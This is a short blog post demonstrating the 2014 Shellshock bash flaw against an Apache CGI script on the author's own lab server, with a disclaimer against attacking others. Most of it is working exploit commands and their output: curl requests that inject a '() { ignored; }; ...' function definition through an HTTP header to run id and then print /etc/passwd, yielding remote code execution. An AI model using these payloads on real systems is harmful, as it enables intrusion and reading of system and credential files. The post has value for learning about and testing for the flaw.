ShellShocked – A quick demo of how easy it is to exploit

I just knocked up a simple proof of concept for ShellShocked to prove to myself what a danger it is.

Prerequisites

  • “Standard” apache install
  • apache user having /sbin/nologin as his shell (not required, but considered best practice and you would think it might help mitigate the problem…)
  • CGI scripts enabled
  • Simple bash CGI script that echoes some text back looking like an HTML response

You can find simple bash CGI scripts if you do a Google search.

As we just saw, it is important that if Apache is going to return the results of your CGI script, it needs a content-type line and a blank line. Otherwise it will give a 500 error response. Remember this for later.

As always with this sort of thing, I recommend doing this only on a machine you own and connected to your own network. You can fire up a virtual linux instance and if it hasn’t already got apache “yum install httpd” or “apt-get install httpd” or whatever will do it for you. Don’t go out there and try and hack anyone, you are likely to get into trouble. </disclaimer>

The Control Test

First thing, prove it works as a webserver,

maxa$ curl -v server/cgi-bin/index.bash
* Hostname was NOT found in DNS cache
*   Trying 10.10.10.10...
* Connected to server (10.10.10.10) port 80 (#0)
> GET /cgi-bin/index.bash HTTP/1.1
> User-Agent: curl/7.37.0
> Host: server
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Thu, 25 Sep 2014 17:05:51 GMT
* Server Apache/2.2.27 (Amazon) is not blacklisted
< Server: Apache/2.2.27 (Amazon)
< Connection: close
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
< 
<html><head><title>Welcome</title></head>
<body>
Welcome to your Bash CGI!
</body></html>
* Closing connection 0

That gives me a very short bit of HTML. Not terribly useful but it proves your machine is just a normal webserver with CGI enabled and running a bash script.

The Exploit
To “exploit” it we need to do some magic with an environment variable. How do you get an environment variable into a bash script you may wonder. Well you stick it in a header in the request. I haven’t played around much with the details of this yet so you can probably change a lot of what is in the header (after -H). Same command as before with added headers:

 maxa$ curl -v server/cgi-bin/index.bash -H "custom:() { ignored; }; /usr/bin/id"
* Hostname was NOT found in DNS cache
*   Trying 10.10.10.10...
* Connected to server (10.10.10.10) port 80 (#0)
> GET /cgi-bin/index.bash HTTP/1.1
> User-Agent: curl/7.37.0
> Host: server
> Accept: */*
> custom:() { ignored; }; /usr/bin/id
> 
< HTTP/1.1 500 Internal Server Error
< Date: Thu, 25 Sep 2014 17:12:27 GMT
* Server Apache/2.2.27 (Amazon) is not blacklisted
< Server: Apache/2.2.27 (Amazon)
< Content-Length: 606
< Connection: close
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
<500 Internal Server Error
</head>
<h1>Internal Server Error
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
 root@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
More information about this error may be available in the server error log.</p> 
<hr> 
<address>Apache/2.2.27 (Amazon) Server at server Port 80</address> 
</body></html> 
* Closing connection 0

“Boo” you think, then you recall that the output from “id” does not include the HTML content type or blank line. Remember, these are needed for Apache to return anything. It did what we expected though and threw a 500 error.

To investigate the error, check the log file, in my case  /var/log/httpd/error_log :

[Thu Sep 25 17:12:27 2014] [error] [client 10.10.10.20] malformed header from script. Bad header=uid=48(apache) gid=48(apache) : index.bash

The bit of “header” it’s complaining is bad is the result of the id command :

uid=48(apache) gid=48(apache)

So, we have successfully subverted a webserver to do something it’s not supposed to do. And the “user” it should be running as can have it’s shell changed in /etc/passwd, but if the CGI script uses bash it won’t make any difference at all.

Taking It A Step Further

Speaking of /etc/passwd, I wonder what it contains :

 maxa$ curl  server/cgi-bin/index.bash -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
....

Oops. All of a sudden we have remote code execution on a webserver.
Sleep tight and don’t let the bugs bite.